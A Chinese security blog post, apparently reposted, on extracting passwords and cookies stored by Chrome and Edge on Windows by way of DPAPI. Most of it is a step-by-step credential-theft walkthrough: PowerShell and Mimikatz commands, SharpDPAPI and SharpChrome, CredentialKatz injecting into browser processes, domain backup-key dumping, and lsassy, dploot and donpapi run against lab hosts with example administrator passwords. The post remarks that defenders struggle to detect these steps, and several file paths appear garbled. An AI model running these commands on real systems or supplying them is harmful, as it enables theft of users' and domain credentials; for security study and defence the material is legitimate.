Windows Web浏览器存储凭证攻防探索

admin 2024年9月9日14:36:28评论42 views字数 3411阅读11分22秒阅读模式

概述

现代浏览器通常会存储用户的用户名和密码,以方便快速登录各种在线服务。虽然这个功能提高了用户的便利性,但也存在显著的安全风险,特别是当这些存储的凭证成为恶意攻击者的目标时。本文讨论了windows存储在浏览器中的凭证的安全隐患、潜在漏洞以及提取这些凭证的工具和技术

浏览器(如Chrome、Firefox和Edge)会将用户凭证存储在本地文件中。这些凭证通常使用特定于Windows上的数据保护API(DPAPI)进行加密及解密:利用 DPAPI 在存储之前加密凭据。主密钥存储在本地,可以使用用户的密码解密

DPAPI 原理

DPAPI 的核心概念是利用用户的登录凭证来生成加密密钥。这些密钥被用于加密和解密数据,并且是透明的——应用程序可以使用 DPAPI 轻松地加密和解密数据,而不需要管理密钥。

主要特点

1用户绑定: DPAPI 使用当前登录用户的凭证生成加密密钥,这意味着只有该用户或拥有该用户凭证的攻击者才能解密数据。

1系统级别保护: 除了用户级别的密钥,DPAPI 还支持基于计算机的保护模式,这种模式在服务器环境中尤为重要,尤其是在多个用户或服务账户需要访问相同的加密数据时。

1无缝集成: 应用程序无需管理加密密钥,DPAPI 在后台处理这些细节,这大大简化了加密操作的复杂性。    

DPAPI 的使用场景

1浏览器存储的凭证: 浏览器通常使用 DPAPI 来加密用户的登录信息和其他敏感数据,使得这些数据即使在磁盘上也以加密形式存储。

1Windows 密码管理器: Windows 自带的密码管理器使用 DPAPI 来保护存储的凭证。

1加密文件系统 (EFS): DPAPI 也是 Windows 加密文件系统 (EFS) 的核心部分,负责管理加密密钥。

风险分析及利用

在攻防行动中,存储凭证的位置始终是目标,因为它将允许访问其他应用程序或进行横向移动。读取存储在浏览器中的凭证不需要任何形式的提升,并且由于在监控的情况下会生成大量事件,因此防御团队很难检测到。

本地

利用Powershell & Mimikatz 获取

主密钥位于以下路径中,默认情况下不可见,因为它们被归类为受保护的操作系统文件。

Plaintext                  
C:usersappdataroamingmicrosoftprotect

Windows Web浏览器存储凭证攻防探索    

查看文件夹属性,可以看到默认会隐藏

Windows Web浏览器存储凭证攻防探索

可以通过从 PowerShell 控制台执行以下命令从本机中获取加密密钥:

Plain Text                  
(gc "$env:LOCALAPPDATAGoogleChromeUser DataLocal State" | ConvertFrom-Json).os_crypt.encrypted_key

Windows Web浏览器存储凭证攻防探索

加密密钥可以在 Mimikatz dpapi::chrome模块中被提取,以解密“ 登录数据 ”的内容 。

Plaintext                  
dpapi::chrome /in:"%LOCALAPPDATA%GoogleChromeUser DataDefaultLogin Data" /encryptedkey:[EncryptedKey] /unprotect        

Windows Web浏览器存储凭证攻防探索

SharpDPAPI & SharpChrome 获取

SharpDPAPI 是 Mimikatz DPAPI 功能的 C# 端口,可实现基于内存的执行。可以通过执行以下命令来检索主密钥:

Plaintext                  
dotnet inline-execute SharpDPAPI.exe masterkeys /rpc

Windows Web浏览器存储凭证攻防探索

ShaprDPAPI – 用户主密钥

Windows Web浏览器存储凭证攻防探索

SharpDPAPI – GUID 和解密密钥

SharpChrome 是 SharpDPAPI 的一部分,目标是存储在基于 Chromium 的浏览器(例如 Chrome、Edge 和 Brave)中的敏感信息。该工具将尝试 使用加密函数 BCrypt从本机文件中读取和解密 AES 密钥。API :CryptUnprotectData() 用于解密存储在浏览器中的密码。

Plaintext                  
dotnet inline-execute SharpChrome logins

Windows Web浏览器存储凭证攻防探索

SharpChrome – DPAPI

CredentialKatz 获取    

CredentialKatz 工具实现了另一种方法,即直接从 Chrome 或 Edge 的凭据管理器转储凭据。此方法更具隐蔽性,因为它会尝试注入现有浏览器进程并读取凭据,并且不使用 DPAPI 进行解密。还支持通过 minidump 文件离线解析凭据。CredentialKatz 使用 PasswordReuseDetectorImpl 类从凭据管理器中以纯文本形式获取 密码

Plaintext                  
CredentialKatz.exe

Windows Web浏览器存储凭证攻防探索

域环境备份密钥

如果已获得域管理员访问权限,则可以从域控制器检索 DPAPI 备份密钥,以解密域中任何用户的主密钥。备份密钥存储在以下 Active Directory 位置:

Windows Web浏览器存储凭证攻防探索

Mimikatz 支持通过执行以下命令来远程转储备份密钥:    

Plaintext                  
lsadump::backupkeys /system:dc.red.lab /export

Windows Web浏览器存储凭证攻防探索

导出的备份密钥可以与目标用户的主密钥配合使用,解密加密密钥。

Plaintext                  
dpapi::masterkey /in:"C:UserspeterAppDataRoamingMicrosoftProtectS-1-5-21-955986923-3279314952-43775158-110515e65bfa-6f2b-4abc-8199-c53e32c31d6f" /pvk:backupkey.pvk

Windows Web浏览器存储凭证攻防探索

类似地,此活动可以由 SharpDPAPI 执行。如果未指定 .pvk 文件,则密钥将显示在控制台中。    

Plaintext                  
dotnet inline-execute SharpDPAPI.exe backupkey /nowrap /server:dc.red.lab

Windows Web浏览器存储凭证攻防探索

DPAPI 域备份密钥

Plaintext                  
SharpDPAPI.exe backupkey /nowrap /server:dc.red.lab /file:backupkey.pvk

Windows Web浏览器存储凭证攻防探索

非AD域

利用 lsassy 可以检索各种信息,包括主密钥。执行以下命令将检索主密钥并将其存储到文件中。    

Plaintext                  
lsassy -u Administrator -p Password123 10.0.1.2 -m rdrleakdiag -M masterkeys

Windows Web浏览器存储凭证攻防探索

可以将主密钥文件 与浏览器标志一起导入到 dploot(SharpDPAPI 的 Python 实现)中。该工具将通过 SMB 与目标主机进行身份验证,并将转储存储在 Microsoft Edge 和 Google Chrome 中的凭据和 cookie。dploot 本地状态 ”文件中检索 AES 密钥,然后解密存储在“ 登录数据 ”文件中的凭据 。

Plaintext                  
dploot browser -d purple.lab -u Administrator -p Password123 10.0.1.2 -mkfile /home/kali/masterkeys

Windows Web浏览器存储凭证攻防探索

也可以 使用 masterkeys标志从 dploot 中获取主密钥。

Plaintext                  
dploot masterkeys -d purple.lab -u Administrator -p Password123 10.0.1.2

Windows Web浏览器存储凭证攻防探索

可以使用 donpapi 执行类似的操作。

Plaintext                  
donpapi red/Administrator:[email protected] -o /home/kali

Windows Web浏览器存储凭证攻防探索    

工具链接

CredentialKatz:https://github.com/Meckazin/ChromeKatz

lsassy:https://github.com/login-securite/lsassy

SharpDPAPI:https://github.com/GhostPack/SharpDPAPI

donpapi:https://github.com/login-securite/DonPAPI

dploot:https://github.com/zblurx/dploot

原文始发于微信公众号(暴暴的皮卡丘):Windows Web浏览器存储凭证攻防探索

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月9日14:36:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows Web浏览器存储凭证攻防探索https://cn-sec.com/archives/3142227.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息